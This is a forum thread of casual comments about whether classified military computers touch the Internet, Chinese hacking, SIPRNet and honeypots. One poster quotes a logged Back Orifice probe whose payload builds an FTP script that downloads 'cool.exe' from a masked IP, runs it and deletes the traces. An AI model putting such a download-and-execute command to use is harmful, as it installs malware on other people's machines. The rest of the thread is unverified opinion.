Why are military computers with Top Secret material even connected to the Internet?
And why do we treat China like our best pal all the time?
Excellent question.
Maybe because the internet grew out of DARPA Net. What now is a neato place with commerce and forums, started as a government network. Who would have thought it? Mosaic was a cool browser.
At my company we were getting constant attacks from computers inside Chinese governmental agencies - I suppose we have lots of sensitive data that they would be interested in. Anyways, it got so annoying that eventually we just blocked all requests from that part of the world.
Its pretty scary. If you watch the ports of your computers you will find that there is steady stream of attacks. I find this to be the case even though I just use dial-up. There are people out there just scanning random computers looking for security vunerabilities. Many of these attempts seems to come from China/Hong Kong.
This is an example of the sort of attacks I get all the time:
portName[BackOrificeLogin]
Socket[addr=/###.###.###.##,port=3717,localport=31337]
data[echo open ###.###.###.## 10051>>o&echo h>>o&echo h>>o&echo get cool.exe>>o&echo bye>>o&ftp -n -s:o&cool.exe&del o&exit]
What if the good guys wanted them to steal it - Kinda like stealing the Trojan Horse rather than receiving it as a gift?
They didn't get to the Top Secret networks....they ARE NOT connected to the internet.
IF they were, they would NOT be certified.
We'll have to check with Algore on this one...
in order to attract Chinese hackers perhaps?
Why are military computers with Top Secret material even connected to the Internet?
They aren't. There's a secret internet, called the SIPRNet. If that got hacked, there would be real trouble. Of course, that would have to be an inside job.
I'll bet you that a lot of these specs that are being stolen are of dubious value. Some may even be honeypots, designed to lure in hackers so we can learn more about them. That being said, it may still be possible to deduce classified information from a number of unclassified sources.
COTS n' cost.
They aren't.